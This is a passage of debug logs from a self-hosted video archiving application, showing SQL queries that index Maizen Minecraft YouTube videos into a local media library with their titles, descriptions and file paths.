s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:35:11.958 [debug] QUERY OK source="media_items" db=1.9ms idle=268.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-13 03:00:06Z], 2] 18:35:11.959 [debug] QUERY OK source="media_items" db=0.8ms idle=270.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, JJ and Mikey are preparing to take the Pro Doctor Exam! There's just one problem, the entry fee is one-million gold!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "THE WORLD's STRICTEST TEST: The Movie", "793e4b17-b31b-4840-bf97-0a0400fa3dee", "3RR5Sbesx6s", 5542, false, "https://www.youtube.com/watch?v=3RR5Sbesx6s", 8, "/downloads/shows/Maizen/Season 2026/s2026e061300 - THE WORLD's STRICTEST TEST: The Movie.mp4", false, false, false, 2, [], 98, ~U[2026-06-13 03:00:06Z], ~U[2026-08-20 01:35:11Z], ~U[2026-08-20 01:35:11Z], "Today, JJ and Mikey are preparing to take the Pro Doctor Exam! There's just one problem, the entry fee is one-million gold!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "THE WORLD's STRICTEST TEST: The Movie", "3RR5Sbesx6s", 5542, false, "https://www.youtube.com/watch?v=3RR5Sbesx6s", "/downloads/shows/Maizen/Season 2026/s2026e061300 - THE WORLD's STRICTEST TEST: The Movie.mp4", false, 2, ~U[2026-06-13 03:00:06Z]] 18:35:11.960 [debug] QUERY OK source="sources" db=0.2ms idle=56.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:35:11.960 [debug] QUERY OK source="media_profiles" db=0.1ms idle=4.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:35:11.960 [debug] QUERY OK source="media_items" db=0.2ms idle=4.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [183790] 18:35:11.961 [debug] Current batch of media processed. Will check again in 1000ms 18:35:12.961 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Mikey's been sent to prison for a crime he didn't commit! Even worse, he's been sentenced to Infinity Prison, the highest security, most inescapable prison in the world! Now it's up to JJ to help get Mikey out, and clear his name! But not everything is at it seems here...\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 5036, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e060600 - THE WORLD's HIGHEST SECURITY PRISON: The Movie.mp4", "id" => "9ZPbk2Unu8A", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=9ZPbk2Unu8A", "playlist_index" => 9, "timestamp" => 1780714806, "title" => "THE WORLD's HIGHEST SECURITY PRISON: The Movie", "upload_date" => "20260606"} 18:35:12.961 [debug] QUERY OK source="sources" db=0.2ms idle=1001.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:35:12.962 [debug] QUERY OK source="sources" db=0.1ms idle=1002.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:35:12.963 [debug] QUERY OK source="media_items" db=1.2ms idle=1002.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-06 03:00:06Z], 2] 18:35:12.964 [debug] QUERY OK source="media_items" db=0.6ms idle=1003.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Mikey's been sent to prison for a crime he didn't commit! Even worse, he's been sentenced to Infinity Prison, the highest security, most inescapable prison in the world! Now it's up to JJ to help get Mikey out, and clear his name! But not everything is at it seems here...\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "THE WORLD's HIGHEST SECURITY PRISON: The Movie", "e17a9387-b963-49ff-b20d-f8f775e8c786", "9ZPbk2Unu8A", 5036, false, "https://www.youtube.com/watch?v=9ZPbk2Unu8A", 9, "/downloads/shows/Maizen/Season 2026/s2026e060600 - THE WORLD's HIGHEST SECURITY PRISON: The Movie.mp4", false, false, false, 2, [], 98, ~U[2026-06-06 03:00:06Z], ~U[2026-08-20 01:35:12Z], ~U[2026-08-20 01:35:12Z], "Today, Mikey's been sent to prison for a crime he didn't commit! Even worse, he's been sentenced to Infinity Prison, the highest security, most inescapable prison in the world! Now it's up to JJ to help get Mikey out, and clear his name! But not everything is at it seems here...\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "THE WORLD's HIGHEST SECURITY PRISON: The Movie", "9ZPbk2Unu8A", 5036, false, "https://www.youtube.com/watch?v=9ZPbk2Unu8A", "/downloads/shows/Maizen/Season 2026/s2026e060600 - THE WORLD's HIGHEST SECURITY PRISON: The Movie.mp4", false, 2, ~U[2026-06-06 03:00:06Z]] 18:35:12.965 [debug] QUERY OK source="sources" db=0.2ms idle=61.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:35:12.965 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:35:12.966 [debug] QUERY OK source="media_items" db=0.2ms idle=3.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [152861] 18:35:12.966 [debug] Current batch of media processed. Will check again in 1000ms 18:35:13.967 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, we've arrived in our new village! However, not everything is at it seems here. Every night, someone is killed, yikes! We have to find the culprit and put a stop to them!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 3796, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e060100 - Minecraft, But One Person Dies Every Day....mp4", "id" => "RxEEQdWqH10", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=RxEEQdWqH10", "playlist_index" => 10, "timestamp" => 1780298214, "title" => "Minecraft, But One Person Dies Every Day...", "upload_date" => "20260601"} 18:35:13.968 [debug] QUERY OK source="sources" db=0.3ms idle=1003.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:35:13.968 [debug] QUERY OK source="sources" db=0.1ms idle=1003.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:35:13.970 [debug] QUERY OK source="media_items" db=1.3ms idle=1003.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-01 07:16:54Z], 2] 18:35:13.971 [debug] QUERY OK source="media_items" db=0.7ms idle=1004.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we've arrived in our new village! However, not everything is at it seems here. Every night, someone is killed, yikes! We have to find the culprit and put a stop to them!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Minecraft, But One Person Dies Every Day...", "56c89f1d-2e6c-40ca-942c-c2711c8418ec", "RxEEQdWqH10", 3796, false, "https://www.youtube.com/watch?v=RxEEQdWqH10", 10, "/downloads/shows/Maizen/Season 2026/s2026e060100 - Minecraft, But One Person Dies Every Day....mp4", false, false, false, 2, [], 98, ~U[2026-06-01 07:16:54Z], ~U[2026-08-20 01:35:13Z], ~U[2026-08-20 01:35:13Z], "Today, we've arrived in our new village! However, not everything is at it seems here. Every night, someone is killed, yikes! We have to find the culprit and put a stop to them!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Minecraft, But One Person Dies Every Day...", "RxEEQdWqH10", 3796, false, "https://www.youtube.com/watch?v=RxEEQdWqH10", "/downloads/shows/Maizen/Season 2026/s2026e060100 - Minecraft, But One Person Dies Every Day....mp4", false, 2, ~U[2026-06-01 07:16:54Z]] 18:35:13.971 [debug] QUERY OK source="sources" db=0.2ms idle=66.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:35:13.972 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:35:13.972 [debug] QUERY OK source="media_items" db=0.3ms idle=3.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [141213] 18:35:13.973 [debug] Current batch of media processed. Will check again in 1000ms 18:35:14.973 [debug] Current batch of media processed. Will check again in 1000ms 18:35:15.974 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, we're playing PVP Roulette Hide and Seek! We'll take turns rolling the roulette machine, and using the awesome items we get to hide in this huge mansion! Who do you think is gonna win today?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 857, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e052900 - The Roulette of OP ITEM in Hide and Seek!.mp4", "id" => "n5lwtRSwTqY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=n5lwtRSwTqY", "playlist_index" => 11, "timestamp" => 1780040554, "title" => "The Roulette of OP ITEM in Hide and Seek!", "upload_date" => "20260529"} 18:35:15.975 [debug] QUERY OK source="sources" db=0.2ms idle=286.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:35:15.975 [debug] QUERY OK source="sources" db=0.2ms idle=286.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:35:15.977 [debug] QUERY OK source="media_items" db=1.3ms idle=287.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-29 07:42:34Z], 2] 18:35:15.978 [debug] QUERY OK source="media_items" db=0.7ms idle=289.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're playing PVP Roulette Hide and Seek! We'll take turns rolling the roulette machine, and using the awesome items we get to hide in this huge mansion! Who do you think is gonna win today?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "The Roulette of OP ITEM in Hide and Seek!", "c7d0f841-2098-492d-9338-b47584bae910", "n5lwtRSwTqY", 857, false, "https://www.youtube.com/watch?v=n5lwtRSwTqY", 11, "/downloads/shows/Maizen/Season 2026/s2026e052900 - The Roulette of OP ITEM in Hide and Seek!.mp4", false, false, false, 2, [], 98, ~U[2026-05-29 07:42:34Z], ~U[2026-08-20 01:35:15Z], ~U[2026-08-20 01:35:15Z], "Today, we're playing PVP Roulette Hide and Seek! We'll take turns rolling the roulette machine, and using the awesome items we get to hide in this huge mansion! Who do you think is gonna win today?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "The Roulette of OP ITEM in Hide and Seek!", "n5lwtRSwTqY", 857, false, "https://www.youtube.com/watch?v=n5lwtRSwTqY", "/downloads/shows/Maizen/Season 2026/s2026e052900 - The Roulette of OP ITEM in Hide and Seek!.mp4", false, 2, ~U[2026-05-29 07:42:34Z]] 18:35:15.978 [debug] QUERY OK source="sources" db=0.2ms idle=71.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:35:15.979 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:35:15.979 [debug] QUERY OK source="media_items" db=0.2ms idle=3.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [128101] 18:35:15.979 [debug] Current batch of media processed. Will check again in 1000ms 18:35:16.980 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, we're having a house on the water building competition! We'll both build houses in the ocean, and then compete to reach the treasure hidden deep on the ocean floor! Who's house was your favorite today?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 2291, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e052600 - NOOB vs PRO: WATER HOUSE BUILD CHALLENGE in Minecraft.mp4", "id" => "m-eW0HpIFp0", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=m-eW0HpIFp0", "playlist_index" => 12, "timestamp" => 1779774844, "title" => "NOOB vs PRO: WATER HOUSE BUILD CHALLENGE in Minecraft", "upload_date" => "20260526"} 18:35:16.981 [debug] QUERY OK source="sources" db=0.3ms idle=1002.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:35:16.981 [debug] QUERY OK source="sources" db=0.2ms idle=1002.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:35:16.983 [debug] QUERY OK source="media_items" db=1.3ms idle=1002.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-26 05:54:04Z], 2] 18:35:16.984 [debug] QUERY OK source="media_items" db=0.6ms idle=1003.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're having a house on the water building competition! We'll both build houses in the ocean, and then compete to reach the treasure hidden deep on the ocean floor! Who's house was your favorite today?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "NOOB vs PRO: WATER HOUSE BUILD CHALLENGE in Minecraft", "41d58e0b-bfa2-4537-bcc6-989e7d10d268", "m-eW0HpIFp0", 2291, false, "https://www.youtube.com/watch?v=m-eW0HpIFp0", 12, "/downloads/shows/Maizen/Season 2026/s2026e052600 - NOOB vs PRO: WATER HOUSE BUILD CHALLENGE in 